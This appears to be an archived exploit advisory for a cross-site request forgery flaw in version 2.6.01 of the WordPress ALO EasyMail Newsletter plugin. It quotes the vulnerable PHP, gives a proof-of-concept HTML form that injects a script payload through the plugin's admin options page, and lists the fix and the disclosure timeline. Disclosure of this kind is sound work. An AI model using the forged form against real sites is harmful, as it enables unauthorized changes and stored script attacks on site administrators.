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WordPress ALO EasyMail Newsletter 2.6.01 CSRF

WordPress ALO EasyMail Newsletter 2.6.01 CSRF
Posted Feb 16, 2016
Authored by Mohsen Lotfi

WordPress ALO EasyMail Newsletter plugin version 2.6.01 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | d15b9b2cb283f5a668f6d8874e3826bf24cc65844b2d86d0e86e20c068dab600

WordPress ALO EasyMail Newsletter 2.6.01 CSRF

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# Exploit Title: Wordpress ALO EasyMail Newsletter plugin cross-site request forgery vulnerability
# Software Link: https://wordpress.org/plugins/alo-easymail/
# Affected Version: 2.6.01
# Exploit Author: Mohsen Lotfi
# Contact: mohsen.lotfi.all@gmail.com
# Twitter: fox_one_fox_one
# Date: 01-16-2016

#####################
1. Description
#####################

The plugin contains a CSRF vulnerability, which can be exploited to perform a script insertion attack.

script insertion happens in wp-content/plugins/alo-easymail/pages/alo-easymail-admin-options.php :

case "save_list": // SAVE a mailing list (add or update)
if ( isset($_REQUEST['submit_list']) ) {
//$list_name = stripslashes( trim( $_POST['elp_list_name'] ) );

// List name
$list_name = array();
foreach ( $languages as $key => $lang ) {
if (isset($_POST['listname_'.$lang]) ) $list_name[$lang] = stripslashes(trim($_POST['listname_'.$lang])); /* script insertion here */
}

$list_available = stripslashes( trim( $_POST['elp_list_available'] ) );
$list_order = stripslashes( trim( $_POST['elp_list_order'] ) );
if ( $list_name && $list_available && is_numeric($list_order) ) {
$mailinglists = alo_em_get_mailinglists ( 'hidden,admin,public' );
if ( $list_id ) { // update
$mailinglists [$list_id] = array ( "name" => $list_name, "available" => $list_available, "order" => $list_order );
} else { // or add a new
if ( empty($mailinglists) ) { // if 1st list, skip index 0
$mailinglists [] = array ( "name" => "not-used", "available" => "deleted", "order" => "");
}
$mailinglists [] = array ( "name" => $list_name, "available" => $list_available, "order" => $list_order);
}
if ( alo_em_save_mailinglists ( $mailinglists ) ) {
unset ( $list_id );
unset ( $list_name );
unset ( $list_available );
unset ( $list_order );
echo '<div id="message" class="updated fade"><p>'. __("Updated", "alo-easymail") .'</p></div>';
} else {
echo '<div id="message" class="error"><p>'. __("Error during operation.", "alo-easymail") .'</p></div>';
}
} else {
echo '<div id="message" class="error"><p>'. __("Inputs are incompled or wrong. Please check and try again.", "alo-easymail") .'</p></div>';
}
}
break;


#####################
2. Proof of Concept
#####################

Login as regular user then:

<form method="post" action="http://localhost/wordpress4.4/wp-admin/edit.php?post_type=newsletter&page=alo-easymail/pages/alo-easymail-admin-options.php">
<input type="hidden" name="listname_en" value="<script>alert('xss')</script>">
<input type="hidden" name="elp_list_available" value="hidden">
<input type="hidden" name="elp_list_order" value="0">
<input type="hidden" name="user_ID" value="1">
<input type="hidden" name="task" value="save_list">
<input type="hidden" name="list_id" value="">
<input type="submit" name="submit_list" value="Trigger!">
</form>


#####################
3. Sulotion
#####################

Update to version 2.7.0
https://wordpress.org/plugins/alo-easymail/changelog/

#####################
4. Report Timeline
#####################

01-16-2016 : Vulnerability discovered.
01-25-2016 : Vendor notified of vulnerability.
02-07-2016 : Vendor replied and released fixed version.
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